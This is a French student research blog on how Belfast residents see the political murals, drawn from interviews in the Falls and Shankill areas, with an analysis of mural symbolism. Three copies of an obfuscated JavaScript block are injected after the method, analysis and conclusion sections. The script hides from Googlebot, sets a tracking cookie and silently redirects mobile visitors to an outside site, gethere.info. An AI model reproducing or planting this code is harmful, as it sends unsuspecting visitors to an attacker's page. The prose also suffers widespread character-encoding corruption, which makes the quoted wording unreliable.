Archives de catégorie : Représentations, Imaginaires, et Symboles

MA�thodologie

Dans le cadre de notre travail, nous nous sommes penchA�es sur la perception des murals par les habitants de Belfast. Quelle est, pour eux, la place de ces fresques aujourda��hui? Comment envisagent-ils la��avenir des murals?A�

Pour rA�pondre A� cette problA�matique, notre mA�thode a consistA� A� effectuer des interviews sur le terrain. Tout da��abord, nous avons choisi les murals qui feraient la��objet de notre A�tude. Nous avons sA�lectionnA� le a�?Bobby Sandsa�? et le a�?Mona Lisa Soldiera�? respectivement situA�s dans les quartiers de Fall (catholique) et de Shankill (protestant).

Crowely T., 2000, a�?Loyalist mural, Hopewell Crescent, Lower Shankill, West Belfasta�? Clarmont Colleges Digital Library, http://ccdl.libraries.claremont.edu/cdm/singleitem/collection/mni/id/124/rec/4
Crowely T., 2000, a�?Loyalist mural, Hopewell Crescent, Lower Shankill, West Belfasta�? Clarmont Colleges Digital Library, http://ccdl.libraries.claremont.edu/cdm/singleitem/collection/mni/id/124/rec/4

 

Crowely T., 2006, a�?Republican mural, Sevastopol Street/Falls Rd., West Belfast. Mural on side of Sinn FeinOffices depicts Bobby Sands a�� first Hunger Striker to die 1981. Mural originally painted 1998, re-painted 2000 on re-built offices.a�? Clarmont Colleges Digital Library http://ccdl.libraries.claremont.edu/cdm/compoundobject/collection/mni/id/1260/rec/38
Crowely T., 2006, a�?Republican mural, Sevastopol Street/Falls Rd., West Belfast. Mural on side of Sinn FeinOffices depicts Bobby Sands a�� first Hunger Striker to die 1981. Mural originally painted 1998, re-painted 2000 on re-built offices.a�? Clarmont Colleges Digital Library http://ccdl.libraries.claremont.edu/cdm/compoundobject/collection/mni/id/1260/rec/38


Notre choix sa��est portA� sur ces deux fresques car elles nous semblaient A?tre particuliA?rement connues. Au vu de la��histoire de Belfast, il nous a semblA� pertinent de sa��intA�resser A� une fresque de chaque communautA� pour avoir un aperA�u plus global de la problA�matique. Par ailleurs, il est A� prA�ciser que seule la fresque de a�?Bobby Sandsa�? existe encore, le a�?Mona Lisa Soldiera�? ayant A�tA� dA�truit en 2015. A�Cet A�lA�ment a A�galement eu son importance dans notre choix car nous voulions nous pencher sur la��opinion des habitants de Belfast concernant les processus de destruction ou de prA�servation des murals. A noter que par prA�servation ou conservation nous entendons ici la non-destruction des fresques.

Nous avons dA�cidA� de conduire une premiA?re sA�rie da��interviews aux abords de ces peintures murales car, selon nous, la proximitA� gA�ographique entre les personnes interrogA�es et les murals augmentait les chances que les passants puissent les connaA�tre. Conscientes du fait que les passants auraient peu de temps A� nous consacrer, il nous a fallu A?tre prA�cises dans l’A�laboration du questionnaire. Celui-ci a par ailleurs dA� A?tre adaptA� en fonction de la rA�ception de notre dA�marche par les habitants. Ainsi, nous avons notamment senti les habitants de Shankill moins enclins A� nous rA�pondre. Nous avons A�galement ressenti une gA?ne A� la��idA�e de leur poser certaines questions, en particulier celles liA�es A� la fresque catholique, au vu de la��ambiance plus a�?intimistea�? du quartier rA�sidentiel que celle de Fall.

ParallA?lement, nous avons rA�alisA� une deuxiA?me sA�rie da��interviews auprA?s de professionnels du tourisme et de la��histoire de Belfast afin da��enrichir notre analyse de leurs expA�riences.

Lors de nos diffA�rents entretiens, nous avons dA� garantir la��anonymat A� nos diffA�rentes sources, sans quoi beaucoup da��entre elles na��auraient pas rA�pondu A� nos questions. Nous avons donc anonymisA� les tA�moignages mobilisA�s dans ce travail.

Dans la��article Analyse des donnA�es, vous pouvez trouver les rA�sultats de notre recherche. Nous avons pu mettre en A�vidence certaines tendances qui restent toutefois A� prendre avec prA�caution au vu de la taille limitA�e de notre A�chantillon. var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Analyse des donnA�es

Comme nous la��avons prA�sentA� dans la��article MA�thodologie,A�nous avons basA� notre recherche sur la��interview da��habitants de Belfast afin de comprendre leurs points de vue par rapport A� la question de la destruction ou de la conservation des fresques.

Cet article prA�sentera dans un premier temps les donnA�es, puis nous tenterons de mettre en A�vidence certaines tendances.

PrA�sentation des donnA�es

Notre objectif, avant da��aller sur le terrain, A�tait de rA�colter un maximum da��informations provenant des habitants des quartiers de Fall et Shankill. Dans ces deux quartiers se trouvent ou se trouvaient les murals qui ont fait la��objet de notre A�tude. Pourtant, sur place, nous avons jugA� important da��A�largir le public cible afin da��obtenir une information plus complA?te sur le dA�bat entre la prA�servation ou non des murals.

Notre A�chantillon est composA� au total de 23 interviews. La durA�e de ces entretiens varie entre une et vingt minutes. Les personnes interrogA�es sont A?gA�es entre 16 et 74 ans. La majoritA� des interviews se sont dA�roulA�es dans les quartiers citA�s auparavant: Fall et Shankill. Toutefois, au cours de nos diffA�rentes activitA�s durant notre sA�jour, nous avons A�galement eu la chance da��obtenir les tA�moignages de divers professionnels: un guide touristique, deux archivistes da��un centre de documentation dont la��un est spA�cialisA� dans les troubles, un conducteur de Black Taxi*, un reprA�sentant du Centre GaA�lique et un collaborateur du City Council de Belfast, le conseil municipal de la ville.

Nous avons conscience que notre A�chantillon, de taille limitA�e, est loin da��A?tre reprA�sentatif de la population. Cependant, nous essayerons de voir sa��il existe tout de mA?me des rA�currences dans les rA�ponses des habitants de la ville.

L’importance des murals pour les locaux

Nous avons choisi, au vu des types de rA�ponses donnA�es lors des interviews, de sA�parer la��A�chantillon en catA�gories da��analyse.

Tout da��abord, nous avons sA�parA� les adolescents des personnes plus A?gA�es. En effet, les jeunes semblaient A?tre moins affectA�s par la situation post-conflit que les personnes plus A?gA�es. Certains des adolescents ont parlA� a�?au nom des jeunesa�? en affirmant que leur catA�gorie da��A?ge accordait peu da��importance aux murals. De ce fait, ils paraissaient plus dA�tachA�s du passA� de Belfast.

Ensuite, concernant la��importance des murals pour les Belfastois (par rapport aux fresques A�tudiA�es), certains interviewA�s considA?rent que les habitants des quartiers de Fall et Sankill, A�tant donnA� leur proximitA� gA�ographique avec ces fresques, sont les plus touchA�s par la prA�sence des murals. Da��autres personnes interrogA�es ont, elles, indiquA� que les habitants na��accordent que peu da��importance A� ces fresques au quotidien. Une minoritA� des individus sondA�s ont affirmA� que les fresques ont A� leurs yeux une valeur touristique trA?s importante.

Finalement, nous avons constatA� que les personnes interrogA�es dans le quartier de Fall ne connaissaient pas, pour la plupart, la fresque de Shankill. Par ailleurs, les personnes sondA�es de chacun des quartiers avaient peu da��informations A� fournir A� propos des murals du quartier opposA�.

PassA� et prA�servation

La plupart des personnes interrogA�es qui commentaient la��importance des murals pour les habitants A�voquaient des A�lA�ments temporels. Beaucoup faisaient rA�fA�rence au passA� en dA�signant les fresques comme un A�lA�ment de mA�moire permettant de se souvenir du conflit. Les phrases telles que a�?pour la mA�moirea�? ou encore a�?en souvenir dea�? ont A�tA� prononcA�es A� plusieurs reprises.

Quant A� la question de la prA�servation ou de la destruction des murals, une majoritA� des personnes interrogA�es nous ont expliquA� que, selon elles, les murals avaient effectivement encore aujourda��hui leur place au sein des diffA�rents quartiers. Beaucoup considA�raient cependant que les murals A� caractA?re trop violent devraient A?tre dA�truits. Pour da��autres, au contraire, la��aspect de commA�moration prA?nait sur la destruction, ca��est pourquoi la prA�servation semblait A?tre une meilleure option. Par ailleurs, selon ces personnes, la conservation est non seulement un moyen de faire en sorte que la population se souvienne des A�vA�nements passA�s, mais elle bA�nA�ficie A�galement A� la��industrie touristique de la ville. Un A�lA�ment qua��une personne interviewA�e a mentionnA� nous a paru intA�ressant A� relever au vu de la problA�matique qua��a vA�cu Belfast entre ses communautA�s dans le passA�. Cette personne a en effet A�voquA� le fait que la question de la prA�servation ou destruction des murals devrait se poser en fonction de la��A�volution du poids dA�mographique des diffA�rentes populations qui habitent la ville.

A�volution et nouveaux murals

Comme mentionnA� prA�cA�demment, certaines personnes A�taient opposA�es aux fresques a�?trop violentesa�? (sans pour autant spA�cifier ce qua��elles entendaient par a�?trop violentesa�?) et souhaitaient la crA�ation de nouveaux murals A� caractA?re plus pacifique et plus inclusif. La��envie de a�?passer A� autre chosea�? a A�tA� exprimA�e A� plusieurs reprises. Dans ce contexte, beaucoup A�taient plutA?t satisfaits des nouvelles fresques. Celles-ci A�taient considA�rA�es comme A�tant plus reprA�sentatives de toutes les communautA�s et permettant de vA�hiculer un message de paix et de solidaritA�.

Outre les personnes ayant exprimA� leur volontA� de voir certains murals dA�truits, da��autres ont soulignA� la��importance de trouver un A�quilibre entre les anciennes et les nouvelles fresques. La��un des archivistes du centre de documentation a apportA� un point de rA�flexion qui nous semble important. Il a mis en exergue la peinture murale comme A�tant devenue une tradition faisant partie de la culture des deux communautA�s. Cette pratique A�tait, selon lui, une fiertA� pour les populations locales.

Les lieux de conservation de la culture A� Belfast

Par ailleurs, la��autre archiviste spA�cialisA� dans les troubles que nous avons interrogA� ainsi qua��un collaborateur du City Council ont relevA� un point supplA�mentaire qui nous a paru intA�ressant: la question du lieu oA? se situent les A�lA�ments de mA�moire. En effet, avoir un lieu consacrA� A� la��histoire du conflit et la prA�sentation da��objets liA�s aux troubles est important pour la ville, selon la��archiviste. Il a A�galement exprimA� une certaine rA�ticence A� la prA�sence de ces peintures dans des lieux publics. Par ailleurs, le fait que les murals sont hier comme aujourda��hui imposA�s A� tous, pose, selon lui, de nombreux problA?mes.

Enfin, le collaborateur du City Council a exprimA� sa dA�ception lorsqua��il sa��agissait de parler des politiques de conciliation entre culture et conservation. Selon lui, il reste encore des progrA?s A� faire A� ce niveau-lA� A� Belfast et aucune solution na��a encore A�tA� apportA�e afin de crA�er un lieu, neutre, qui puisse rA�unir et conserver la culture de la ville dans son ensemble. MalgrA� des tentatives de conciliation, il na��y a aujourda��hui aucun musA�e qui retrace la��histoire du conflit.

*La��association Black Taxi propose des circuits de dA�couverte des murals menA�s par des anciens membres de la��IRA, la��Irish Republican Army, reconvertis en chauffeur de taxi.

Lire aussi notre conclusion.var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Conclusion

A travers ce travail, malgrA� la dimension restreinte de notre recherche, nous avons pu observer que la place des murals A� Belfast demeure un sujet trA?s controversA� au sein de la population. Notre travail a pu mettre en lumiA?re la��existence da��une absence de consensus quant A� la place des murals aujourda��hui A� Belfast. En effet, les habitants expriment A� la fois la volontA� de dA�truire les fresques, en particulier les murals A� caractA?re violent, pour pouvoir se projeter dans le futur et de dA�passer les conflits passA�s et la volontA� de prA�server les fresques pour maintenir la mA�moire des troubles.

Cette question est da��autant plus da��actualitA� que nous avons pu observer dans les quartiers protestants de nouvelles fresques portant les insignes des anciens groupes paramilitaires repeintes rA�cemment.

Plus gA�nA�ralement, ca��est tout la��hA�ritage du conflit qui reste un sujet sensible. Ainsi, la ville ne dispose toujours pas A� la��heure actuelle da��un musA�e expliquant la��histoire des troubles, ce qui tA�moigne de la difficultA� qua��ont les Belfastois A� produire un rA�cit commun du conflit. Cette conclusion rejoint celle de F. Mourlon qui relA?ve la��absence de consensus A� Belfast pour impliquer la��ensemble de la population dans le processus de mA�moire (Mourlon F., 2012).

Par ailleurs, si la courte durA�e da��interview rend la gA�nA�ralisation difficile, notre analyse a toutefois permis de mettre en A�vidence ce qui semble A?tre un clivage gA�nA�rationnel. En effet, les jeunes semblent moins concernA�s par le conflit que la population plus A?gA�e. Ces derniers regrettent que leur ville soit trop souvent associA�e A� son passA� sombre et veulent que Belfast aille de la��avant. Il serait intA�ressant de suivre la��A�volution de ces questions et de voir si la jeunesse pourra redonner un nouveau souffle A� la ville et trouver une vA�ritable place pour les fresques hA�ritA�es du conflit.

 var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Des symboles pour se justifier

A�Quels sont les diffA�rents registres de justification par les deux partis ?

Introduction : Plusieurs maniA?res de se justifier

Par Darell Bloch, AngA?le Canelli et Louis Romaneschi

Avant propos :

Dans cette A�tude nous traiterons des registres de justifications des deux partis. Pour faciliter la comprA�hension de notre recherche il est important de comprendre ce qua��est un registre de justification et A�galement comment qualifier les deux partis.

On peut appeler registre de justification un ensemble de caractA�ristiques trouvA�es dans un texte, un discours ou dans toute forme da��expression visuelle visant A� justifier la ou les action(s) rA�alisA�e(s) par la��acteur au regard du spectateur.

En ce qui concerne les deux partis, nous utiliserons donc trois faA�ons de les qualifier, A� savoir :

  • le parti plutA?t da��origine irelandaise, qui est nationaliste, rA�publicain et catholique;
  • le parti plutA?t da��origine anglaise, qui est unioniste, loyaliste et protestant.

  1. Introduction : Plusieurs maniA?res de se justifier

Les murals ne sont pas neutres. Ces peintures apparaissent petit A� petit dans les rues de Belfast en parallA?le avec le conflit qui oppose rA�publicains irlandais aux loyalistes, fidA?les A� la couronne britannique. Ces peintures murales ont un caractA?re fondamentalement politique : les partis belligA�rants utilisent ce moyen graphique afin de faire de la propagande, dA�marquer leur territoire, da��acquA�rir de nouveaux sympathisants, ou alors de menacer la��ennemi. Elles se positionnent da��un cA?tA� ou de la��autre des partis engagA�s en faisant rA�fA�rence A� des symboles, A� des personnages et A� des A�vA�nements historiques liA�s A� la��hA�ritage culturel de chaque parti. En utilisant cette dialectique les deux partis justifient leur prise de position dans le conflit. Chacune des murals comporte donc une dimension fortement idA�ologique malgrA� leur apparence pouvant paraA�tre neutre. Cette mobilisation de symboles religieux, militaristes, culturels et nationalistes sur les murals peut A?tre perA�ue comme un ensemble da��arguments lA�gitimant la��existence et les revendications de chacun des partis. A�Ces muralsA�ont une capacitA� da��impact politique directe sur la population et sur tout autre observateur puisqu’elles sont situA�esA�dans la��espace public. Apparaissant sous une forme artistique, les murals sont en rA�alitA� une forme de propagande visant A� ressasser le spectre de la��opposition entre catholiques et protestant, les murs de Belfast deviennent alors un enjeux important du conflit. A�La��objectif de notre recherche est de mettre en lumiA?re les diffA�rents registres de justification mobilisA�s par chacun des partis dans les murals et da��expliciter le sens que les partis veulent donner aux murals.

Pour ce faire nous allons analyser de maniA?re comparative les murals unionistes et les murals rA�publicaines. Nous prA�senterons un tableau graphique rA�pertoriant les symboles les plus frA�quents et explicitant leurs significations et histoire. Cette classification sera une clef de lecture de notre travail, qui mobilisera ces symboles afin da��expliquer les diffA�rents registres de justification du conflit. En effet, ce lexique appuiera notre recherche, qui dA�taillera les diffA�rentes maniA?res par lesquelles les partis mobilisent ce langage graphique A� leurs fins politiques et culturelles. Nous avons pu mis en exergueA�plusieurs registres de justification ; tout da��abord la��exacerbation de registres culturels irlandais ou loyalistes, le ralliement A� des conflits internationaux, et enfin la victimisation de chacun des partis.

Exacerbation de la culture :

Le premier registre de justification que nous traitonsA�est celui de l’exacerbation culturelle, ou ce que nous intitulonsA�a�?la��hyperculturalisationa�?. Cet outil conceptuel utilisA� pour notre analyse se dA�finit par la volontA� da��une communautA� de se crA�er et de mobiliser un patrimoine culturel qui lui est propre. La��hyperculturalisation se caractA�rise par la grande utilisation de toutes sortes de particularitA�s culturelles communautaires A� des fins de diffA�renciation, par rapport au parti adverse. Ca��est une crA�ation de la��altA�ritA�, un processus qui a pour but de renforcer la��appartenance A� la��identitA� culturelle de son parti. Dans cette pA�riode post-conflit, A� Belfast, cette exacerbation de la culture est bel et bien encore utilisA�e, A� des fins politiques, historiques et mA�morielles. Cette logique que la��on pourrait considA�rerA�comme une mobilisation trA?s marquA�e da��un hA�ritage, va diffA�rer entre protestants et catholiques, et dA�passer le cadre des murals en se retrouvant dans plusieurs aspects de la vie quotidienne.

